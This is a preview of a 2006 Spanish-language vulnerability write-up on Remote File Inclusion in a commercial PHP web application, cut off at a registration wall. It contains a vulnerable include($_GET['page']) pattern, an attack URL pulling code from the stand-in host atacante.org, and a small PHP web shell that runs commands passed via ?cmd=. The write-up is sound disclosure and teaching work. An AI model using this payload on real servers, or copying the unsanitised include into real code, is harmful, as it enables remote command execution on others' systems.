Remote_inclucion_aplicacion_comercial
Páginas: 7 (1655 palabras)
Publicado: 15 de octubre de 2015
A. Alejandro Hernández (nitr0us)
nitrousenador@gmail.com
Safer Operations Consulting www.saferops.com.mx
RTM Security Research Group www.zonartm.org
Noviembre 23, 2006
México
TABLA DE CONTENIDOS
1 Introducción
2 Conceptos básicos
3 Detección y Explotación del fallo
3.1 Detección
3.2 Explotación 3.2.1 Vector de ataque 1: Remote File Inclusion
3.2.2 Vector de ataque 2: Cross Site Scripting
4 Correción del fallo
5 Conclusión
6 Referencias
1 Introducción
En el presente documento se expondrá un claro ejemplo de una aplicación Web
comercial vulnerable a tan conocido fallo llamado RFI (Remote File Inclusion), aunque un poco más difícil de explotar debido a ciertas circunstancias. Esta aplicación Web se basa en una
suite de módulos para administrar diferentes cosas como: Sistema, Red, Firewall, VPN, VNC,
Antivirus, etc... Por ciertos motivos no puedo decir el nombre de la aplicación, así que
solamente serán expuestas las capturas de pantalla editadas. El fallo fué descubierto en el testeo de una versión Beta, así que el Release final será inmune a la vulnerabilidad aquí expuesta.
Aclaro que este no es un tutorial más de como explotar RFI, sino que la demostración de
la explotación de cierta vulnerabilidad en una aplicación real aplicando un método con un
pequeño grado más de complejidad que una explotación normal.
2 Conceptos básicos
Para comprender la explotación es necesario tener conocimientos básicos de tan famosa técnica RFI, así que si ya tienes estos conocimientos puedes pasar directamente a la sección 3.
Aquí solamente será descrita la parte básica, por lo tanto queda fuera del alcance de este
documento información mas detallada de dicha técnica, para ello puede visitar [1] y [2].
RFI, siglas en inglés de Remote File Inclusion, es una técnica en la que un atacante aprovecha un fallo de programación, es decir, que el programador de la aplicación no sanitiza la entrada
de datos del usuario antes de ser pasada a una función como include() o require(). Entonces,
veamos con un claro ejemplo lo que la función include() hace según el manual del programador
de PHP:
Figura 1. Ejemplo de la función include().
Como se puede apreciar, esta función incluye código de otro archivo para poder ser utilizado en el programa que la invoca. La inclusión puede ser de archivos locales o remotos por medio del
protocolo HTTP.
Para comprender la explotación de este fallo veamos dos posibles escenarios, el del
Usuario Final y del Atacante.
Usuario Final:
● En el código fuente se tiene algo como: include($_GET['page']);
● El usuario visita http://www.corp.com/index.php?page=productos.php
●La página incrustada en index.php es productos.php sin ningún problema
Atacante:
● En el código fuente se tiene algo como: include($_GET['page']);
● El atacante visita
http://www.corp.com/index.php?page=http://atacante.org/exec.gif?cmd=ls
● La página incrustada en index.php es la salida del comando ls de UNIX.
El contenido de exec.gif es:
exec($_GET['cmd'],$salida);
foreach($salida as $line) { echo "$line
"; }
?>
La explicación a esto es que, la función include() incluye el código que hay en
http://atacante.org/exec.gif y a la vez le pasamos como parámetro el comando que queremos
ejecutar (?cmd=ls). Con esto logramos que el servidor incluya dicho script, ejecute exec() con
el comando ls como parámetro y nos envie la salida a la página que invoca el include(), en este
caso index.php.3 Detección y Explótacion del fallo
En los siguientes apartados se explicará a detalle la detección y los diferentes vectores de
explotación de la vulnerabilidad. Cabe mencionar que el fallo RFI encontrado aquí no es el
común y corriente (explicado en conceptos básicos), sino que se tuvieron que hacer unas ...
Leer documento completo
Regístrate para leer el documento completo.